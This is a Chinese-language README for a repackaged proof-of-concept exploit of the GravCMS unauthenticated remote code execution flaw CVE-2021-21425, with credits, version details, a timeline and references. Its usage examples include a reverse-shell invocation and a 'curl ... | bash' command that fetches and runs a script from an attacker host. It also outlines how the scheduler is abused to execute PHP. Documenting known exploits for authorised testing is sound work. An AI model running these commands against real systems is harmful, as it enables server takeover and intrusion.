CVE-2021-21425 - GravCMS 未授权 RCE

针对 CVE-2021-21425 的改进版概念验证，该漏洞是 GravCMS <= 1.10.7 中通过向调度器写入任意 YAML 实现的未授权远程代码执行漏洞。

致谢

这是衍生作品。漏洞及原始利用代码并非本人所写。

角色	人员
漏洞发现者	Mehmet Ince (@mdisec)，PRODAFT / INVICTUS Europe — 2021 年 3 月
原始 PoC 作者	"legend" — Exploit-DB EDB-49973
本仓库的修改者	d4ytox

本版本的变化

原始 EDB-49973 需要手动编辑脚本中的硬编码值。本版本增加了：

• 用于指定目标、LHOST、LPORT 的命令行参数
• 反向 shell 载荷的自动 base64 编码
• 自定义命令支持（-c）
• 错误处理和状态输出

这些是对现有利用代码的易用性改进。不主张任何漏洞研究贡献。

漏洞

字段	值
CVE	CVE-2021-21425
EDB-ID	49973
受影响版本	GravCMS <= 1.10.7
类型	未授权 RCE
CVSS	9.8（严重）

Grav Admin 插件在某些管理路由上未能验证身份认证，允许未授权用户写入任意 YAML 配置。此利用代码滥用调度器配置来创建一个执行任意 PHP 代码的 cron 任务。

使用方法

# 反向 shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>

# 自定义命令
python3 exploit.py -t http://target -c "id"

示例

# 在目标上获取反向 shell
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444

# 执行命令
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"

依赖要求

pip install requests

工作原理

1. 请求 /admin 以提取 admin-nonce 令牌（由于漏洞存在，无需认证）
2. 向 /admin/config/scheduler 发送 POST 请求，包含恶意的 cron 任务配置
3. 调度器通过 /usr/bin/php -r eval(base64_decode(...)) 执行 PHP 载荷
4. PHP 将 base64 解码后的反向 shell 写入 /tmp/rev.sh 并执行

该 cron 任务每分钟运行一次（* * * * *），因此 shell 会在 60 秒内返回。

时间线

• 2021-03-18 - Mehmet Ince 在渗透测试中发现该漏洞
• 2021-03-29 - 公开披露
• 2021-04-01 - 在 Grav Admin Plugin 1.10.8 中修复

参考资料

• NVD 条目
• GitHub 安全公告 GHSA-6f53-6qgv-39pj
• Mehmet Ince 的原始分析文章（Pentest Blog）
• 原始 PoC - Exploit-DB EDB-49973

许可证

MIT，仅适用于本仓库中的修改。上游 PoC 未附带许可证，因此其版权仍归原作者所有。完整署名声明请参见 LICENSE。

免责声明

仅供授权的安全测试使用。在测试任何系统之前，请确保您已获得书面许可。